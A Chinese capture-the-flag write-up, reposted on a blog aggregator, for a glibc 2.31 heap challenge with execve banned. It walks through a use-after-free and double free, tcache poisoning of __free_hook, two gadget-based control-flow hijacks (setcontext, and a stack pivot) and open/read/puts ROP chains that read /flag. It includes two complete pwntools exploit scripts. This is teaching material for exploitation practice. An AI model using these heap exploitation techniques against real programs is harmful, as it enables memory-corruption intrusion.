首页 > 其他分享 >堆gadgets寻找之路

堆gadgets寻找之路

时间:2023-02-01 12:55:05浏览次数:67  
标签:addr libc 寻找 ret gadgets heap pl p64

限制堆块数量10、申请大小0x100、uaf

程序非要在root下运行

但root下各种不顺,环境问题居然是最吃时间最ex的问题

非要在root下打十分影响gdb调试

在网上查了大半天都没能真正解决问题,越来越气急败坏

最后在一位大佬的博客里找到了另一种绕过root的方式:

就是把JZ指令改为JNZ,从而改变程序的跳转

2021DASCTF_Mar_pwn_wp | R1nd0's Blog

​​image​​

终于成了


image

程序把execve函数给禁了

但由于system函数实际上也是借由 execve实现的,也就相当于把system也给禁了

攻击思路:

首先利用uaf进行 double free,构造堆块重叠从而泄露堆地址和 libc地址

之后通过 tcachebin向free_hook中写入gadget,使得在 free 时可以通过 free_hook中布置的gadgets劫持程序执行流程到我们可控的地址

最后在可控的地址部署 ORW的 ROP chains,执行 free,输出 flag

难点就在于寻找合适的 gadgets 来劫持控制流

Gadget+setcontext
for i in range(10):
  add(i, 'a')

for i in range(7):
  delete(6-i)

delete(8)
delete(7) #chunk7、8合并进入unsorted
add(0,'1') #申请出290

delete(8) #将合并状态下的一部分chunk(由于未清空chunk8的指针)放入tcache,造成堆块重叠
add(0,'1') #再次申请可泄露heap地址

delete(8)

show(0)
for i in range(1,9): #1-8
    add(i,'a')   

show(0)
delete(3) #4c0
delete(1) #b10
edit_name(0,p64(heap_addr+0x380)[:-1])

将指针改到390处,从tcache中申请两次就会得到390处的一个chunk

同时因为堆块重叠可以通过修改chunk9来修改chunk2的内容

add(8,'b') #b10
#0\1\8\9

add(9,'c') 
pl = p64(0) + p64(0x111)
pl+= p64(0) + p64(heap_addr+0x3a8-0x18)
pl+= p64(setcontext)
pl+= (0xa0-len(pl))*b'\x00' + p64(heap_addr+0x5d0) + p64(p_rdi_r)

edit_description(9,pl) #390 change 3b0
delete(7) #8f0

delete(8) #b10

edit_name(0,p64(free_hook)[:-1])

add(8,'d') #b20

add(7,p64(gadget)[:-1])
pl = p64(heap_addr+0xb10) + p64(p_rsi_r) + p64(0) + p64(open_addr)

pl+= p64(p_rdi_r) + p64(4) + p64(p_rsi_r) + p64(heap_addr+0x500) + p64(p_rdx_r12_r) + p64(0x30)*2 + p64(read_addr)

pl+= p64(p_rdi_r) + p64(heap_addr+0x500) + p64(puts_addr)

edit_description(4,pl)

edit_name(0,'/flag\x00\x00')

第一个方法有点复杂,用着也不方便

不考虑再重新过一遍了...

exp:
#encoding = utf-8
from pwn import *
import os
import sys
import time
import inspect
from sys import argv
#from ae64 import AE64
#from LibcSearcher import * 

context.os = 'linux'
context.arch = 'amd64'
#context.arch = 'i386'
context.log_level = "debug"


name = './pwn2'

debug = 0
if debug:
    p = remote('39.99.242.16',10002)
else:
    p = process(name)

#libcso = '/lib/x86_64-linux-gnu/libc.so.6'
libcso = './libc-2.31.so'
libc = ELF(libcso)

context.terminal = ['gnome-terminal','-x','sh','-c']


s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


def dbg():
   gdb.attach(proc.pidof(p)[0])
   pause()
  

def menu(choice):
    p.recvuntil(">> ")
    p.sendline(str(choice))

def add(idx,name):
    menu(1)
    p.recvuntil("Please input index?\n")
    p.sendline(str(idx))
    p.recvuntil("2.Girl:\n")
    p.sendline('1')
    #p.sendline(str(sex))
    p.recvuntil("Please input your child's name:\n")
    p.send(name)

def edit_name(idx, name):
    menu(2)
    p.recvuntil("Please input index?\n")
    p.sendline(str(idx))  
    p.recvuntil("Please input your child's new name:\n")
    p.send(name)

def show(idx):
    menu(3)
    p.recvuntil("Please input index?\n")
    p.sendline(str(idx))   

def delete(idx):
    menu(4)
    p.recvuntil("Please input index?\n")
    p.sendline(str(idx))   

def edit_description(idx ,desc):
    menu(5)
    p.recvuntil("Please input index?\n")
    p.sendline(str(idx)) 
    p.recvuntil("Please input your child's description:\n")
    p.send(desc)

def change_gender(idx,gen):
    menu(666)  
    p.recvuntil("Please input index?\n")
    p.sendline(str(idx))
    p.recvuntil("2.Girl:\n")
    p.sendline(str(sex))

print('==========================================================================')
  
for i in range(10):
  add(i, 'a')

for i in range(7):
  delete(6-i)

delete(8)
delete(7) #merge a00 to unsorted

add(0,'1') #290

delete(8) #b20 to tcache

add(0,'b') #b20 

delete(8) ##b20 to tcache

show(0)
ru("nder: ")
heap_addr = uu64(r(6))-0x10
#heap_addr = u64(p.recvuntil('\x56'or'\x55')[-6:].ljust(8,b'\x00'))


for i in range(1,9): #3a0-a00
    add(i,'a')  
 
#malloc 8 chunk to clean tcache
show(0)
base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.sym['__malloc_hook']-0x1000
li('heap_addr = '+hex(heap_addr))
li('libc_base = '+hex(base))

print('==========================================================================')

open_addr = base + 0x10DCE0 #libc.sym['open']

read_addr = base + 0x10DFC0 #libc.sym['read']
puts_addr = base + 0x84420 #libc.sym['puts']

gadget= base + 576 + 0x151750 #libc.sym['getkeyserv_handle']
'''
mov     rdx, [rdi+8]
mov     [rsp+0C8h+var_C8], rax
call    qword ptr [rdx+20h]
'''
li('gadget = '+hex(gadget))

free_hook = base + 0x1EEE48 #libc.sym['__free_hook']
setcontext = base + 0x54F5D #libc.sym['setcontext'] + 61

p_rdi_r = base + libc.search(asm('pop rdi;ret;')).__next__()
#p_rdi_r = base + 0x26b72

p_rsi_r = base + libc.search(asm('pop rsi;ret;')).__next__()

p_rdx_r12_r = base + libc.search(asm('pop rdx;pop r12;ret;')).__next__()
p_rdx_r12_ret = libc_base + 0x11c371

leak('p_rdx_r12_r = '+hex(p_rdx_r12_r))
leak('p_rdx_r12_ret = '+hex(p_rdx_r12_ret))



li('free_hook = '+hex(free_hook))
li('setcontext = '+hex(setcontext))

print('==========================================================================')

add(9,'d') #b10

delete(3) #4c0

delete(1) #b10
#0\1\9

edit_name(0,p64(heap_addr+0x380+0x10)[:-1])

add(8,'b') #b10
#0\1\8\9

add(9,'c') 

pl = p64(0) + p64(0x111)
pl+= p64(0) + p64(heap_addr+0x3a8-0x18)
pl+= p64(setcontext)
pl+= (0xa0-len(pl))*b'\x00' + p64(heap_addr+0x5d0) + p64(p_rdi_r)

edit_description(9,pl) #390 change 3a0

print('==========================================================================')

delete(7) #8f0

delete(8) #b10

edit_name(0,p64(free_hook)[:-1])

add(8,'d') #b20

add(7,p64(gadget)[:-1])

print('==========================================================================')



pl = p64(heap_addr+0xb10) + p64(p_rsi_r) + p64(0) + p64(open_addr)

pl+= p64(p_rdi_r) + p64(4) + p64(p_rsi_r) + p64(heap_addr+0x500) + p64(p_rdx_r12_r) + p64(0x30)*2 + p64(read_addr)

pl+= p64(p_rdi_r) + p64(heap_addr+0x500) + p64(puts_addr)

edit_description(4,pl)

edit_name(0,'/flag\x00\x00')

dbg()

delete(2)




   
p.interactive()
gadget+栈迁移
for i in range(8):
    add(i,'aaaa\n')  
  
delete(6)  
menu(666)  
p.recvuntil("Please input index?\n")
p.sendline('6')

heap_addr = u64((ru('\x0a')[-6:]).ljust(8,b'\x00'))
li('heap_addr = '+hex(heap_addr))

p.recvuntil("2.Girl:\n")
p.sendline('2')   

delete(6) # double free

add(6,'aa')
add(8,'aa')

for i in range(6):
  delete(i)

delete(7)
delete(6)

show(8)

libc_base = uu64(ru('\x2c\x20')[-6:])
li('libc_base = '+hex(libc_base))

通过double free实现chunk6和chunk8的堆块重叠

将chunk6送入unsortedbin中去后,show(8)即可获得libc地址

for i in range(6):
   add(i,'a')

add(7,'a') #290
add(6,'a') #8f0

delete(7)
delete(6)

将tcache清空,再将chunk6回收

然后先后free掉chunk7、6,再向chunk8中写入free_hook

申请掉chunk7后再申请就能够向free_hook写入gadget

即劫持 free_hook 为 libc 的 gadget 栈迁移到堆上的 ropchain

gadget = libc_base + 0x154DD0 + 26 
li('gadget = '+hex(gadget))
"""
    mov rbp, qword ptr [rdi + 0x48]; 
    mov rax, qword ptr [rbp + 0x18]; 
    lea r13, [rbp + 0x10]; 
    mov dword ptr [rbp + 0x10], 0; 
    mov rdi, r13; 
    call qword ptr [rax + 0x28];
"""
#这个gadgets主要是通过 rdi控制 rbp进而控制 rax并执行跳转,由于我们已经控制了 rbp(free的chunk)的值,因此只需要在 rax+0x28的位置部署 leave;ret即可完成栈迁移

leave_ret 跳转到 rbp 执行 ropchain ,所以 rbp 是 &(ropchain)-8 。gadget 跳转到 ropchain 的部署:

部分具体操作:

向free_hook中写入gadget

add(7,'a') #290
add(6,'a') #8f0

delete(7)
delete(6)
edit_name(8,p64(free_hook)[:-1])
add(6,'a') #8f0
add(7,p64(gadget)[:-1])
pl = b'/flag\x00\x00\x00'
pl = pl.ljust(0x38,b'a')
pl += p64(stack_addr) #910
pl += p64(leave_ret) #rbp --> &(ropchain) - 8

edit_description(0,pl)
ROP chain:
payload =p64(0xdeadbeefdeadbeef)+p64(add_rsp_0x18_ret)
payload+=p64(0xdeadbeefdeadbeef)+p64(heap_addr+0xa28) # rax处 
#rax+0x28 = leave_ret
payload+=p64(0xdeadbeefdeadbeef)
#open
payload+=p64(pop_rdi_ret)+p64(heap_addr + 0xa10)  #"flag" in chunk0
payload+=p64(pop_rsi_ret)+p64(0)
payload+=p64(pop_rdx_r12_ret)+p64(0)*2
payload+=p64(open_addr)
#read
payload+=p64(pop_rdi_ret)+p64(4)
payload+=p64(pop_rsi_ret)
payload+=p64(heap_addr+0x400)
payload+=p64(pop_rdx_r12_ret)+p64(0x50)+p64(0)
payload+=p64(read_addr)
#puts
payload+=p64(pop_rdi_ret)
payload+=p64(1)
payload+=p64(pop_rsi_ret)
payload+=p64(heap_addr+0x400)
payload+=p64(puts_addr)

'''
pl = p64(ret) + p64(add_rsp_0x18_r)*2
pl+= p64(heap_addr + 0xa10+0x18) # rax
pl+= b'\x00'*0x8
# open(heap_addr+0x0a10'/flag',0)
pl+= p64(p_rdi_r)+p64(heap_addr+0x0a10)+p64(p_rsi_r)+p64(0)+p64(open_addr)
# read(4,heap_addr+0x3d0,0x30,0x30)
pl+= p64(p_rdi_r)+p64(4)+p64(p_rsi_r)+p64(heap_addr+0x3d0)+p64(p_rdx_r12_ret)+p64(0x30)*2+p64(read_addr)
# puts(heap_addr+0x3d0)
pl+= p64(p_rdi_r)+p64(heap_addr+0x3d0)+p64(puts_addr)
'''

edit_description(6,payload)

payload+=p64(0xdeadbeefdeadbeef)+p64(heap_addr+0xa28)​ rax处

下面就是rax+0x28 = leave_ret

exp:
#encoding = utf-8
from pwn import *
import os
import sys
import time
import inspect
from sys import argv
#from ae64 import AE64
#from LibcSearcher import * 

context.os = 'linux'
context.arch = 'amd64'
#context.arch = 'i386'
context.log_level = "debug"


name = './pwn2'

debug = 0
if debug:
    p = remote('39.99.242.16',10002)
else:
    p = process(name)

#libcso = '/lib/x86_64-linux-gnu/libc.so.6'
libcso = './libc-2.31.so'
libc = ELF(libcso)

context.terminal = ['gnome-terminal','-x','sh','-c']


s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


def dbg():
   gdb.attach(proc.pidof(p)[0])
   pause()
  

def menu(choice):
    p.recvuntil(">> ")
    p.sendline(str(choice))

def add(idx,name):
    menu(1)
    p.recvuntil("Please input index?\n")
    p.sendline(str(idx))
    p.recvuntil("2.Girl:\n")
    p.sendline('1')
    #p.sendline(str(sex))
    p.recvuntil("Please input your child's name:\n")
    p.send(name)

def edit_name(idx, name):
    menu(2)
    p.recvuntil("Please input index?\n")
    p.sendline(str(idx))  
    p.recvuntil("Please input your child's new name:\n")
    p.send(name)

def show(idx):
    menu(3)
    p.recvuntil("Please input index?\n")
    p.sendline(str(idx))   

def delete(idx):
    menu(4)
    p.recvuntil("Please input index?\n")
    p.sendline(str(idx))   

def edit_description(idx ,desc):
    menu(5)
    p.recvuntil("Please input index?\n")
    p.sendline(str(idx)) 
    p.recvuntil("Please input your child's description:\n")
    p.send(desc)

def change_gender(idx,sex):
    menu(666)  
    p.recvuntil("Please input index?\n")
    p.sendline(str(idx))
    p.recvuntil("2.Girl:\n")
    p.sendline(str(sex))

print('==========================================================================')
  
for i in range(8):
    add(i,'aaaa\n')  
  
delete(6)  
menu(666)  
p.recvuntil("Please input index?\n")
p.sendline('6')

heap_addr = u64((ru('\x0a')[-6:]).ljust(8,b'\x00')) #- 0x10


p.recvuntil("2.Girl:\n")
p.sendline('2')   

delete(6) # double free

add(6,'aa')
add(8,'aa')

for i in range(6):
  delete(i)

delete(7)
delete(6)

show(8)

libc_base = uu64(ru('\x2c\x20')[-6:])-96-0x10-0x1ECB70


li('heap_addr = '+hex(heap_addr))
li('libc_base = '+hex(libc_base))

print('==========================================================================')

gadget = libc_base + 0x154DD0 + 26 
li('gadget = '+hex(gadget))
"""
    mov rbp, qword ptr [rdi + 0x48]; 
    mov rax, qword ptr [rbp + 0x18]; 
    lea r13, [rbp + 0x10]; 
    mov dword ptr [rbp + 0x10], 0; 
    mov rdi, r13; 
    call qword ptr [rax + 0x28];
"""
stack_addr = heap_addr + 0x900 #chunk6/8+0x10

leave_ret = libc_base + libc.search(asm('leave;ret;')).__next__()
li('leave_ret = '+hex(leave_ret))

add_rsp_0x18_ret = libc_base + 0x3794a
li('add_rsp_0x18_ret = '+hex(add_rsp_0x18_ret))

ret = libc_base + 0x25679
li('ret = '+hex(ret))

pop_rax_ret = libc_base + libc.search(asm('pop rax;ret;')).__next__()

pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;')).__next__()

pop_rsi_ret = libc_base + libc.search(asm('pop rsi;ret;')).__next__()

#pop_rdx_r12_ret = libc_base + libc.search(asm('pop rdx;pop r12;ret;')).__next__()
pop_rdx_r12_ret = libc_base + 0x11c1e1

li('pop_rdx_r12_ret = '+hex(pop_rdx_r12_ret))
#li('p_rdx_r12_ret = '+hex(p_rdx_r12_ret))

open_addr = libc_base + 0x10DCE0 #libc.sym['open']
read_addr = libc_base + 0x10DFC0 #libc.sym['read']
#puts_addr = libc_base + libc.sym['puts']
puts_addr = libc_base + 0x84420
li('puts_addr = '+hex(puts_addr))


free_hook = libc_base + 0x1EEE48 #libc.sym['__free_hook']
li('free_hook = '+hex(free_hook))
print('==========================================================================')

for i in range(6):
   add(i,'a')

add(7,'a') #290
add(6,'a') #8f0

delete(7)
delete(6)

edit_name(8,p64(free_hook)[:-1])

add(6,'a') #8f0
add(7,p64(gadget)[:-1])

pl = b'/flag\x00\x00\x00'
pl = pl.ljust(0x38,b'a')
pl += p64(stack_addr) #910
pl += p64(leave_ret) #rbp --> &(ropchain) - 8

edit_description(0,pl)
dbg()


payload =p64(0xdeadbeefdeadbeef)+p64(add_rsp_0x18_ret)
payload+=p64(0xdeadbeefdeadbeef)+p64(heap_addr+0xa28) # rax ; rax+0x28 = leave_ret
payload+=p64(0xdeadbeefdeadbeef)
#open
payload+=p64(pop_rdi_ret)+p64(heap_addr + 0xa10)  #"flag" in chunk0
payload+=p64(pop_rsi_ret)+p64(0)
payload+=p64(pop_rdx_r12_ret)+p64(0)*2
payload+=p64(open_addr)
#
payload+=p64(pop_rdi_ret)+p64(4)
payload+=p64(pop_rsi_ret)
payload+=p64(heap_addr+0x400)
payload+=p64(pop_rdx_r12_ret)+p64(0x50)+p64(0)
payload+=p64(read_addr)
#
payload+=p64(pop_rdi_ret)
payload+=p64(1)
payload+=p64(pop_rsi_ret)
payload+=p64(heap_addr+0x400)
payload+=p64(puts_addr)


'''
pl = p64(ret) + p64(add_rsp_0x18_r)*2
pl+= p64(heap_addr + 0xa10+0x18) # rax
pl+= b'\x00'*0x8
# open(heap_addr+0x0a10'/flag',0)
pl+= p64(p_rdi_r)+p64(heap_addr+0x0a10)+p64(p_rsi_r)+p64(0)+p64(open_addr)
# read(4,heap_addr+0x3d0,0x30,0x30)
pl+= p64(p_rdi_r)+p64(4)+p64(p_rsi_r)+p64(heap_addr+0x3d0)+p64(p_rdx_r12_ret)+p64(0x30)*2+p64(read_addr)
# puts(heap_addr+0x3d0)
pl+= p64(p_rdi_r)+p64(heap_addr+0x3d0)+p64(puts_addr)
'''
edit_description(6,payload)
#dbg()

delete(0)
      
  
p.interactive()  
  

标签:addr,libc,寻找,ret,gadgets,heap,pl,p64
From: https://www.cnblogs.com/shuzM/p/17082187.html

相关文章

  • 力扣4. 寻找两个正序数组的中位数
    给定两个大小分别为 m 和 n 的正序(从小到大)数组 nums1 和 nums2。请你找出并返回这两个正序数组的 中位数 。算法的时间复杂度应该为 O(log(m+n)) 。 示例......
  • 场景编程集锦 - 寻找最优化方案
    1.场景描述  最近由神仙姐姐刘亦菲主演的电视剧《去有风的地方》带火了一方旅游,这个地方就是云南大理沙溪,被喻为“心灵疗伤的圣地”。那里是风光秀丽,美不胜收。有湖光......
  • 云上的米开朗基罗:在不确定时代,寻找建筑般的确定性
    摘要:SRE的核心文化,依旧需要各界携手去探索和发扬。但就像运维所需的确定性那样,SRE探索对每家企业的未来价值来说,也是充满确定性的。本文分享自华为云社区《​​云上的米开朗......
  • 寻找适合程序员的笔记软件
    做为一个程序员,有两个东西是我们必需的.一个是搜索,另一个则是记录.当我们遇到不会或解决不了的困难点时,我们会第一时间使用搜索(如Google)来寻找解决方案,而当我们积累......
  • 二叉树寻找最k小值
    /***注意:left/right值若没有显示设置为null,值即为undefined*在调用二叉树前、中、后序遍历方法时,由于参数设置了默认值(tree)*所以进入了死循环*/consttree={......
  • 如何高效寻找素数
    本文首发:如何用算法高效寻找素数?读完本文,你不仅学会了算法套路,还可以顺便解决如下题目:204.计数质数(简单)-----------素数的定义看起来很简单,如果一个数如果只能被1和......
  • 程序:在1——100中寻找能被三整除的数字
    #include<stdio.h>intmain(){inti=1;for(i=1;i<101;i++){if(i%3==0){printf("%d\n",i);}}return0;}......
  • LeetCode寻找两个正序数组的中位数(vector/二分查找 划分数组)
    原题解这道题可以转化成寻找两个有序数组中的第k小的数,其中k为(m+n)/2或(m+n)/2+1786.第k个数题目给定两个大小分别为m和n的正序(从小到大)数组nums1和nums2......
  • 如何寻找外贸客户
    找外贸客户,首先要找到他们的联系方式,然后发展客户。所以找到外贸客户的联系方式非常重要。那我们在外贸中一般怎么找到客户的联系方式呢?米贸搜整理如下,希望能帮到你。1.通过......
  • 一文解析企业网盘 带你寻找数据协作的“满分答案”
    数据量急剧增长,线上办公逐渐成为常态。许多企业都会选择部署企业网盘来满足日益增长的数据管理与数据协作的需求。网盘市场乱花渐欲迷人眼,企业又该如何从中甄别最适合自己的......